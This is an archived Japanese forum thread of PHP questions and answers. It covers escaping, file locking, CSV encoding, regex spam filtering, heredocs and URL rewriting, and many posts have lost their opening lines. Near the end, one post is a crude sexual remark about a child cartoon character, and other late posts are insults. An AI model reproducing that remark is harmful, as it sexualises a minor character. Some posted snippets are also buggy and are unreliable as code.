2007/11/01(木) 04:11:11ID:???0794nobodyさん
2007/11/01(木) 04:11:42ID:???コーディング時点で分かってる文字コードとやらがMySQLのデフォルト設定になってるなら
mysql_escape_string()でその設定を使用できる。(ただしローカルMySQLのみ)
そうでなく接続後に文字コードを切り替えてたり、接続先がリモートのMySQLだったりすると
やっぱ接続後にmysql_real_escape_stringするしかないんじゃないかと思う。
ただしリモートの場合、接続後に切り替える文字コードをローカルのMySQLであらかじめ
デフォルト設定しとくことでmysql_escape_stringを狙った文字コードで動作させることができると思う。
文字コードでエスケープに違いが出るのはマルチバイト文字の中に「\」とかの
要エスケープな文字コードが含まれるかどうか。
これが含まれない文字コードであればそれほど問題にならない。
0795nobodyさん
2007/11/01(木) 04:20:37ID:???バッファ0ならfwrite直後での出力の完了は保障される。
fflushするのと同じ効果。
だからこの場合は別にfclose前にロック解除しても問題はないはず。
どっちにしろ明示的にロック解除する必要が無いのは確かだけどな。
ところでこの質問って ttp://www.res-system.com/item/359 のコードだよな?
0796nobodyさん
2007/11/01(木) 04:22:16ID:???むしろset_stream...はPHPのバッファを制御する関数じゃなくて、ライブリ側の
ストリームフラグをオフるためのものだろ
0800nobodyさん
2007/11/01(木) 04:35:26ID:???どっちでもいいって言われると迷っちゃうんだけど
0801nobodyさん
2007/11/01(木) 04:39:59ID:???0803nobodyさん
2007/11/01(木) 04:51:42ID:???0804nobodyさん
2007/11/01(木) 04:52:01ID:???0805nobodyさん
2007/11/01(木) 05:53:36ID:???1ファイルの出力にfwriteを複数回呼ぶような場合はfflushの方がいいんじゃないかな…
最後にまとめて書き出した方が負荷低いだろ。
1回しかfwriteしないならどっちでもいいけど。
0806nobodyさん
2007/11/01(木) 08:28:15ID:nYx+6pbPレスありがとうございます。やっぱりそれですよね。
0807754
2007/11/01(木) 09:30:12ID:kJjMi5v7モードがwの時の貼り付けてしまいました…
書き込み部分はモードと書き込み先を指定する
ユーザー関数にして使いまわしていました。
ttp://www.res-system.com/item/359
前に中身が消えてしまったのは、そのまま追記ではなくて
配列で中身取得→指定の部分に挿入処理→wで開いて貼り付け保存
でした。これもなんで消えたんだろう…
0808nobodyさん
2007/11/01(木) 09:33:56ID:???"w"で開いてから出力するまでの間にプログラムがアボンしたんじゃないの?
安全を期するならテンポラリファイルに出力してから最後にrenameの方が安全かと。
0809nobodyさん
2007/11/01(木) 10:08:24ID:6Qqtj9Qiphpで構築することになりました。
phpである程度、一通りのものは出来るのですが、企業の、それも金が絡むやつは初めてです。
例えば、バグって金額の表示が違っているとかなるとトラブルになりそうなのですが、
それって、作った私の責任になるんですか???
お小遣い程度の金額で頼まれているのに、もし金額が一桁違って莫大な損害を
私に請求されたら元もこうもないので、どうしような悩みます。
こういうのって、プロの方はどういう風にしているんでしょうか?
教えて下さい。お願いします。
0810nobodyさん
2007/11/01(木) 10:16:10ID:???0812nobodyさん
2007/11/01(木) 10:18:44ID:???0813nobodyさん
2007/11/01(木) 10:26:42ID:6Qqtj9Qiアドバイスありがとうございます。
今、バイトでプログラマーの手伝いをやっているのですが、
できれば今回のを制作実績にしてバイトじゃなくて派遣とかでやりたいと思います。
今回のサイトは、自分のスキルでいうと1ヶ月半位で出来る程度のもので、
お小遣いとっても、30万円近くもらえるので、できればやりたいです。
例えば、一切責任は取りません見たいな事を契約しておけばいいということでしょうか???
これで、50万とか100万とか請求されたら払えないです・・・
0814nobodyさん
2007/11/01(木) 10:35:05ID:???そういうのは顧客と話し合って決めるんだよ
ただ金を取っているのに
「一切責任は取りません」なんて無責任なことを言うのなら
契約したくないだろうけど
0815nobodyさん
2007/11/01(木) 10:37:13ID:???規模による
大体検証が1〜2ヶ月 保障を1年くらい
それ以降の保守については再度相談が普通かな?
どうしても請求されるのが怖いなら君がさらに外注にだせばいい
0816812
2007/11/01(木) 10:37:15ID:???>例えば、一切責任は取りません見たいな事を契約しておけばいいということでしょうか???
そんな一方的な契約結んでもらえるかしらー
つーか知り合い伝いの仕事は受けない方が良いと思うぞ〜
無責任契約でもまずったら最悪友達なくすぞ〜
0817nobodyさん
2007/11/01(木) 10:42:36ID:6Qqtj9Qi確かに、無責任ですよね。すみません。
自分では払えないお金になると不安なので、
ついつい無責任なことを言ってしまいました。
>>815
>大体検証が1〜2ヶ月 保障を1年くらい
ありがとうございます!。すごく参考になります。
その人に説明するときに、これが相場ですって言えますね。
で、その保障の1年間に何か発生したときに、こっちが払わなければいけない期間ですけど、
30万円の規模のサイトなら、いくらくらいが相場でしょうか?
0818nobodyさん
2007/11/01(木) 10:43:27ID:6Qqtj9Qi×で、その保障の1年間に何か発生したときに、こっちが払わなければいけない期間ですけど、
○で、その保障の1年間に何か発生したときに、こっちが払わなければいけない金額ですけど、
0819nobodyさん
2007/11/01(木) 10:46:23ID:???保守が1年ぐらいでねーの?
まぁ俺なら表示周りは自サイトでやって
金とか商品周りは外部のショッピングサイト使うけど
0820nobodyさん
2007/11/01(木) 11:00:40ID:???> 30万円の規模のサイトなら、いくらくらいが相場でしょうか?
これはピントが外れているように思うけどな。
損害賠償という話になるとまず損失を金額換算して幾らって試算から始まるから
相手方次第かね
0821nobodyさん
2007/11/01(木) 11:05:42ID:???損害金400億超をほとんど丸々東証に要求してたな
あれはワロタ
0822nobodyさん
2007/11/01(木) 11:14:53ID:???それよりもその友達の企業内での立場が危うくならないか?
「なんで、あんな奴連れてきたんだ!」とか言われてさ
0823nobodyさん
2007/11/01(木) 11:22:11ID:6Qqtj9Qi詳しい仕組みの説明までして頂いてどうも有難うございます。
それは、つまり損害が発生するまで金額が決まらず、
いくら請求するかも相手次第ということでしょうか。
それって、かなりプログラマーにとってはものスゴイプレッシャーですよね。
いくら位までなら、OKみたいな話ならいいんですけど。
自動車保険とかのように保障金額が決まっているとか。
>>821
私がふとお金の話で思い出したのは、昔どこかのメーカー(DELL?)が、
担当者の金額入力ミスで、それを知ったvipperが大量注文して、
メーカーが結局めちゃめちゃ激安金額でパソコンを販売したという話でした。
それは担当者の責任ですけど、もしそれが自分の計算処理のプログラムミス
だったと想像したら、ぞっとします。
0824nobodyさん
2007/11/01(木) 12:01:43ID:???経営者が多いんだよな。
重要な金額入力する前に人を二人以上配置して、
「金額よーし」「金額よーし」「ぽちっ」とやろうとか考えもしない。
0825nobodyさん
2007/11/01(木) 12:18:07ID:???0826nobodyさん
2007/11/01(木) 12:29:09ID:???むしろそれは運営サイドの問題でプログラムには
なんら関係ない、そんなところまで面倒は見る必要はないと
釣られてやるよ
0827nobodyさん
2007/11/01(木) 12:52:36ID:kJjMi5v7テンポラリ了解です。
そして新たに詰まったのが
エクセルはUTF-8が開けないんですね…
皆さんは(有)や 旧字などが必要なcsvはどういう処理をなされていますか?
最終的にはSJISのcsvしかダメですよね…
0828nobodyさん
2007/11/01(木) 14:30:15ID:WVV5m+XjBBSなどに投稿した時の文字判定で日本語以外からの文字は受け付けない設定には
どのように書けばいいでしょうか?
0829nobodyさん
2007/11/01(木) 14:43:20ID:???質問が丸投げだからヒントだけね。
といってもほぼ答えだけど。
スパム対策だろうけどASCIIのみをはじけばいいよ。
正規表現で判定するといい。
ASCIIの範囲は\x00-\x7f
0830nobodyさん
2007/11/01(木) 14:44:24ID:WVV5m+Xj有難うございます!
さっそく組み込んでみます!
0831nobodyさん
2007/11/01(木) 15:14:17ID:???0832nobodyさん
2007/11/01(木) 16:25:32ID:???0833nobodyさん
2007/11/01(木) 18:30:13ID:1mW3wcqfのようにタブで区切られた文字列を配列に格納するにはどうすればいいのでしょうか?
↓じゃ無理なようで・・・
print_r (array("'".mb_ereg_replace(' ',"', '",'い ろ は')."'"));
0835nobodyさん
2007/11/01(木) 18:47:26ID:???0836nobodyさん
2007/11/01(木) 18:57:12ID:???eval('print_r (array("\'".mb_ereg_replace(\' \',"\', \'",\'い ろ は\')."\'"));');
0838833
2007/11/01(木) 19:27:06ID:1mW3wcqfとりあえず>>837さんのやり方でやります。
0840nobodyさん
2007/11/01(木) 21:02:26ID:MsBqEUd7人気のタグをランキングにしたいのですが
DBに登録するときユーザーがいくつタグを入力するかが
確定されていないので、どうしてもうまくかけません。
ずばっときれいにかける方法ってありますか?
アイデアお願いします。
0841nobodyさん
2007/11/01(木) 21:06:17ID:???0842nobodyさん
2007/11/01(木) 21:09:14ID:MsBqEUd70843nobodyさん
2007/11/01(木) 21:14:31ID:???つforeach
どの段階で何がどうで困っているのか全然伝わらん。だって書いてねぇし。
質問としては15点。
0844nobodyさん
2007/11/01(木) 21:16:50ID:???集計しやすいよう再設計するなり、SQLこねくり回してなんとかなるならDB板で聞けばいい
PHPとはあんま関係なさそうだが
0845nobodyさん
2007/11/01(木) 21:43:54ID:MsBqEUd7やはり集計作業時に言われた通りSQLが複雑そうなので
DB板でききます。
ありがとうございます。
0847nobodyさん
2007/11/01(木) 22:09:55ID:???0848nobodyさん
2007/11/01(木) 22:17:42ID:???0849nobodyさん
2007/11/02(金) 00:24:56ID:???PHP触ったあとにC++とかJavaとかやってられねー
0850nobodyさん
2007/11/02(金) 00:29:11ID:???http://phpspot.org/blog/archives/2007/10/phpwapache.html
0852nobodyさん
2007/11/02(金) 00:41:19ID:fEbvkhE+php.iniの設定とかで表示できたりしますか?
0855nobodyさん
2007/11/02(金) 00:44:14ID:???Web特化というコンセプトで作ってるんだから一生そんな日はこない。
というかそんな機能いらないし、もしWindowsアプリを開発できるようになっても、
>PHP触ったあとにC++とかJavaとかやってられねー
こんなこといってるようじゃ無理。
PHPが簡単なのはWeb特化だからであって、PHPでGUIアプリ作るとなると、
別の使い方も覚えないといけなくなる。(ウインドウの作成や配置など)
JavaだってWeb用途に限るなら簡単。
0856nobodyさん
2007/11/02(金) 00:50:10ID:???クラスの組みやすさとか、そういうのがいいのよ
やっぱりそこは慣れの問題になるのかな・・・
変数に$のついてないのなんてプログラムじゃないやい つД`)
0857nobodyさん
2007/11/02(金) 00:58:41ID:???0858nobodyさん
2007/11/02(金) 01:00:16ID:???関数実行してあらかじめ返す型を決めなくていいのも・・・
0859nobodyさん
2007/11/02(金) 01:04:10ID:???0860nobodyさん
2007/11/02(金) 01:17:34ID:???0861nobodyさん
2007/11/02(金) 01:23:23ID:???ハハハ、一応笑とくよ
ところで PHP で Windowsアプリとかおっしゃるそこの貴方
PHP-GTKには興味ないの?
0862nobodyさん
2007/11/02(金) 01:25:31ID:???おおー!こんなものもあるんだー
PHPでGUIといえばWinBinderしか知らなかったけど
これもこれで良さそう
PHPでWindowsゲームとか作れるようになるのも近いかも試練!
0863nobodyさん
2007/11/02(金) 01:26:32ID:???0864nobodyさん
2007/11/02(金) 01:44:37ID:N3+siSMB<div><? echo $bbb; ?></div>
<div><? echo $ccc; ?></div>
とするのと
$html = <<<_EOD_
<div>$aaa</div>
<div>$bbb</div>
<div>$ccc</div>
_EOD_;
とではどちらが処理は早いのでしょ。2〜3行の話ではなくもっと行数が多いとしてですが。
それとヒアドキュメント内で/*====*/とするとそのまま表示されてしまいますが、
ヒアドキュメント内でのコメントはどう書けばいいのでしょうか。
0865nobodyさん
2007/11/02(金) 01:46:00ID:???コメント:使えない
0866nobodyさん
2007/11/02(金) 01:51:04ID:???0867nobodyさん
2007/11/02(金) 01:53:48ID:???Bamcompileは楽しいと思うよ
PHP+WinBinder+Bamcompileの開発ツールみたいなのができたらいいな
PHP-GTKの参考サイトが全くナスorz
スクリプトの実行させかたわかんね\(^o^)/
0868nobodyさん
2007/11/02(金) 01:58:29ID:N3+siSMBやっぱりコメントは無理ですか。
処理速度が変わらないようなのでヒアドキュメントで整理してきます。
レスありがとうございました。
0869867
2007/11/02(金) 01:59:04ID:???*.phpwにすればいいのか
0871nobodyさん
2007/11/02(金) 02:52:37ID:vzvDJiqRという配列があったとして、unset("b");とすると、
$array[0]と$array[2]が残りますが、
これを$array[0]、$array[1]と、
インデックスを詰めることは出来ないのでしょうか?
0872nobodyさん
2007/11/02(金) 03:02:09ID:???そういう関数あるかわからんが
関数作ってみればどうかな?
function 関数名は適当に($array, $del_key){
foreach($array as $key=>$value){
$array_tmp = array();
if($key != $del_key){
$array_tmp[$key] = $value;
}
return $array_tmp;
}
みたいな
0873nobodyさん
2007/11/02(金) 03:03:16ID:???新しい配列を作るしかない
ちなみに、何故インデクスの振りなおしが必要なの?
0875nobodyさん
2007/11/02(金) 03:12:01ID:???871もひどい
>$array = array("a"=>"aaa","b"=>"bbb","c"=>"ccc")
>という配列があったとして、unset("b");とすると、
>$array[0]と$array[2]が残りますが、
残りません。
0876nobodyさん
2007/11/02(金) 03:28:06ID:???ドッカン
m ドッカン
=====) )) ☆
∧_∧ | | / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
( )| |_____ ∧_∧ < おらっ!出てこい>>871 >>872!!
「 ⌒ ̄ | | || (´Д` ) \___________
| /  ̄ | |/ 「 \
| | | | || || /\\
| | | | | へ//| | | |
| | | ロ|ロ |/,へ \| | | |
| ∧ | | | |/ \ / ( )
| | | |〈 | | | |
/ / / / | / | 〈| | |
/ / / / | | || | |
/ / / / =-----=-------- | |
0877nobodyさん
2007/11/02(金) 04:38:56ID:???0878nobodyさん
2007/11/02(金) 06:53:05ID:???$array['a']を$array[0]にするのは無理
0879nobodyさん
2007/11/02(金) 10:40:08ID:lfmgScK/includeやrequireした形跡がないのに、
同じファイル内には無いクラスをextendsしたり、
インスタンス化してつかったりしてるのですが、
これってどうやるんですか?
0880nobodyさん
2007/11/02(金) 10:48:17ID:???0881879
2007/11/02(金) 10:52:39ID:lfmgScK/なるほど。そういうカラクリですか。
ちょっとファイル数が多いので探すの大変ですが、
もう少し眺めてみたいと思います。
0882nobodyさん
2007/11/02(金) 12:00:31ID:???0883nobodyさん
2007/11/02(金) 12:01:30ID:I1nYMQiMfunction check($str) {
if ($strに問題がなかったら) {
return true;
}
return false;
}
function touroku() {
if (check($str)) {
登録処理;
exit("登録しました");
} else {
exit("$strも問題があるので登録できませんでした");
}
}
見たいな感じにしようと思ってるのですが、
touroku内でcheckするのはやっぱりおかしいですか?
function touroku() {
登録処理;
}
にして、
if (check()) {
touroku();
}
とかにしたほうがいいでしょうか?
説明下手なのでわかりにくかったらすみません・・・
0884nobodyさん
2007/11/02(金) 12:13:14ID:???たいていの場合では後者のほうがいいと思う
とんがった人はcheck()はアノテーションとしてtohroku()に後付したりするのかな
0885nobodyさん
2007/11/02(金) 13:43:09ID:58QPbX5W0887nobodyさん
2007/11/02(金) 14:00:29ID:58QPbX5W>>714以外の方法は無しってことでいいですかね?
改修中のソースにこういう処理してる部分があるのですが、セキュリティ的にどうなの?って思ったので。
0888nobodyさん
2007/11/02(金) 14:01:38ID:???0890nobodyさん
2007/11/02(金) 15:29:12ID:ehHCPDNI0892nobodyさん
2007/11/02(金) 15:40:12ID:ehHCPDNI入力フォームから値を受け取り確認画面へわたすという処理です。
ソースは
入力フォーム
<INPUT class="cell_width01" type="text" onkeydown="if(event.keyCode==13){event.returnValue = false;}" name="mdtt" value="<?php echo htmlentities(stripslashes($info['mdtt'])); ?>">
入力の空チェック
function _notInputed($str)
{
$str = str_replace(" ", " ", $str);
$str = trim($str);
if(0 == strlen($str)) return true;
return false;
}
<test>を入力すると空でfalseが返ってきてしまいます。
htmlentitiesやstr_replaceを使って試してみるのですが、
うまくいきません。
0893nobodyさん
2007/11/02(金) 15:44:17ID:???そりゃそうだろ
0894nobodyさん
2007/11/02(金) 15:47:20ID:ehHCPDNI質問の趣旨は、<>を入力すると全部空になってしまうので、
この空チェックでfalseを返すようにしたいんです。
0895nobodyさん
2007/11/02(金) 15:49:38ID:???0896nobodyさん
2007/11/02(金) 15:52:45ID:ehHCPDNIここで、呼び出して空の場合はこのエラーメッセージを排出するようにしていますが、
エラーとなるのです。
0897nobodyさん
2007/11/02(金) 16:00:00ID:???入力がPHPや当該の関数にちゃんと渡ってるかどうかデバックしてみたら。
0898nobodyさん
2007/11/02(金) 16:03:20ID:ehHCPDNIデバッグも何度もしているのですが、空なんです。
0899nobodyさん
2007/11/02(金) 16:05:21ID:???0901nobodyさん
2007/11/02(金) 16:26:49ID:ehHCPDNI処理が必要なのでしょうか?
0902nobodyさん
2007/11/02(金) 16:27:49ID:ehHCPDNI0903nobodyさん
2007/11/02(金) 16:55:37ID:VB7V02Tk0906nobodyさん
2007/11/02(金) 17:32:33ID:ehHCPDNI$_POSTで受け取る処理の中でサニタイズする関数を呼び出して
いるのですが空でした。
入力フォームのINPUTの中でonkeydown="if(event.keyCode==13){event.returnValue = false;}"
という部分があるのですが、ここで処理をしているかもしれませんので
調べてみます。
0908nobodyさん
2007/11/02(金) 17:41:36ID:???$this = new DNA();
0909nobodyさん
2007/11/02(金) 17:57:16ID:ehHCPDNIちゃんとtrueを返せるようにがんばります。
ありがとうございます。
0910nobodyさん
2007/11/02(金) 20:21:16ID:???3,000のような数字のカンマを抜いて3000にするにはどうすればいいですか?
0911nobodyさん
2007/11/02(金) 20:22:59ID:???echo str_replace(',', '', $hoge);
0913nobodyさん
2007/11/02(金) 21:02:40ID:???0914nobodyさん
2007/11/03(土) 01:12:45ID:Mo1PpAH9これはいれとけってものがありましたら教えてください。
pearとmysqlは入れました。zendoptiomizerは検討中です。
0915nobodyさん
2007/11/03(土) 01:16:27ID:???0916nobodyさん
2007/11/03(土) 01:16:43ID:???0917nobodyさん
2007/11/03(土) 01:21:07ID:???0919nobodyさん
2007/11/03(土) 01:32:58ID:???0920nobodyさん
2007/11/03(土) 01:33:45ID:???0921nobodyさん
2007/11/03(土) 01:33:57ID:???いまどきOpenBSDだろ常識的に考えて・・・
0922nobodyさん
2007/11/03(土) 01:36:25ID:???0924nobodyさん
2007/11/03(土) 02:09:11ID:Mo1PpAH9そういうプログラムで自作OS作ってるひといますか?
0925nobodyさん
2007/11/03(土) 02:12:46ID:???0927nobodyさん
2007/11/03(土) 02:16:22ID:???0928nobodyさん
2007/11/03(土) 02:17:14ID:???脳がリフレッシュされる
0929nobodyさん
2007/11/03(土) 03:54:37ID:WzuvDxLI#!/usr/local/bin/php
<?php
$p = '/root/log';
$i = 0;
while (true) {
file_put_contents($p, "OK");
print $i++.":".file_get_contents($p)."\n";
}
# ./foo.phpを2つのコンソールから実行すると、片方が「Bus error」として落ちます。必ずです。
fopen、fwrite、fcloseを使った場合は起きないんですが、これって何なんでしょう?
マニュアル見た限りでは、fopen〜fcloseと変わらないとあるんですが。
LOCK_EXオプションを付けても変わりませんでした。
0930nobodyさん
2007/11/03(土) 03:56:04ID:/D2HS3QMというようなファイル名+パラメータのurlを、
profile/yamada/ とする(変換する?)方法ってあるんでしょうか?
ブラウザのURLバー部分に擬似的にディレクトリ構造のように見せてるのか、
それともwebサーバ上に実際に物理的にディレクトリを作ってるのか
わからないですが…
訳のわからない質問かもしれませんが、お願いします
centOS + apache2 + php5 です
0931nobodyさん
2007/11/03(土) 04:01:15ID:???mod_rewrite
0933nobodyさん
2007/11/03(土) 04:02:42ID:???【Apache】mod_rewriteについて語るスレ
http://pc11.2ch.net/test/read.cgi/php/1023791370/
0934nobodyさん
2007/11/03(土) 06:38:12ID:???0935nobodyさん
2007/11/03(土) 07:50:15ID:???0937nobodyさん
2007/11/03(土) 08:32:19ID:Mo1PpAH90938nobodyさん
2007/11/03(土) 09:17:53ID:???あれですよね、OSを自作自演するとかいう…
0939nobodyさん
2007/11/03(土) 09:44:00ID:???0943nobodyさん
2007/11/03(土) 10:48:04ID:???0944nobodyさん
2007/11/03(土) 10:56:22ID:???0945nobodyさん
2007/11/03(土) 11:18:44ID:???0946nobodyさん
2007/11/03(土) 11:20:46ID:???0947nobodyさん
2007/11/03(土) 11:32:31ID:Mo1PpAH9もう少しおちついてからレスしよう
0948nobodyさん
2007/11/03(土) 11:40:31ID:???0949nobodyさん
2007/11/03(土) 11:56:49ID:???0950nobodyさん
2007/11/03(土) 13:37:13ID:GRWhmm0G<br>の連続をひとつの<br>にする方法頼みます
0952nobodyさん
2007/11/03(土) 13:44:12ID:GRWhmm0G<br>の連続数は不定でお願いします。
0954nobodyさん
2007/11/03(土) 13:54:52ID:???0955nobodyさん
2007/11/03(土) 14:15:02ID:???0956nobodyさん
2007/11/03(土) 14:30:08ID:???0957nobodyさん
2007/11/03(土) 14:33:21ID:???0959nobodyさん
2007/11/03(土) 14:36:10ID:???0960nobodyさん
2007/11/03(土) 14:38:00ID:???0961nobodyさん
2007/11/03(土) 14:38:03ID:???0962nobodyさん
2007/11/03(土) 14:38:31ID:???0963nobodyさん
2007/11/03(土) 14:39:05ID:???0964nobodyさん
2007/11/03(土) 14:42:03ID:???0965nobodyさん
2007/11/03(土) 14:42:35ID:???0966nobodyさん
2007/11/03(土) 14:45:28ID:???0967nobodyさん
2007/11/03(土) 14:46:05ID:???0969nobodyさん
2007/11/03(土) 14:48:34ID:???0970nobodyさん
2007/11/03(土) 14:48:52ID:???誰もがキモいと思ってるんだよ
メール欄で勝ち誇ったように何言ってるんだコイツと
0971nobodyさん
2007/11/03(土) 14:49:35ID:???ってか誰だよ俺様を騙っているのは
0973nobodyさん
2007/11/03(土) 14:54:11ID:???0974nobodyさん
2007/11/03(土) 14:54:46ID:GRWhmm0G0981nobodyさん
2007/11/03(土) 15:00:29ID:???0982nobodyさん
2007/11/03(土) 15:01:25ID:???0984nobodyさん
2007/11/03(土) 15:02:56ID:???0985nobodyさん
2007/11/03(土) 15:05:33ID:Y6Z6X6pnみんなが注意してるところとか教えてくれ!
もうオナポ
0986nobodyさん
2007/11/03(土) 15:05:43ID:???ばか、ばっかだな
0987nobodyさん
2007/11/03(土) 15:06:12ID:???0990nobodyさん
2007/11/03(土) 15:19:35ID:???2chの90%は バカで出来ています
2chの8%は 基地外寸止めで出来ています
2chの2%は 鬼畜で出来ています
0991nobodyさん
2007/11/03(土) 15:26:30ID:???# あぁ…ブライトさん、貴方の声は永久に聴けないんですね
0992nobodyさん
2007/11/03(土) 15:31:37ID:Y6Z6X6pn不思議な言語でかなえてく〜れーる
静香ちゃんのマンコなめたいなぁ
はーい!マンコリーム
0993nobodyさん
2007/11/03(土) 15:31:40ID:GRWhmm0Gさらば
0994nobodyさん
2007/11/03(土) 15:35:35ID:???0996950
2007/11/03(土) 15:50:39ID:???0997nobodyさん
2007/11/03(土) 15:52:59ID:???このスレに沸いてる馬鹿がこの先苦しみ続けますように。
0998950
2007/11/03(土) 15:54:04ID:???0999nobodyさん
2007/11/03(土) 15:57:47ID:???1000nobodyさん
2007/11/03(土) 15:59:29ID:???10011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。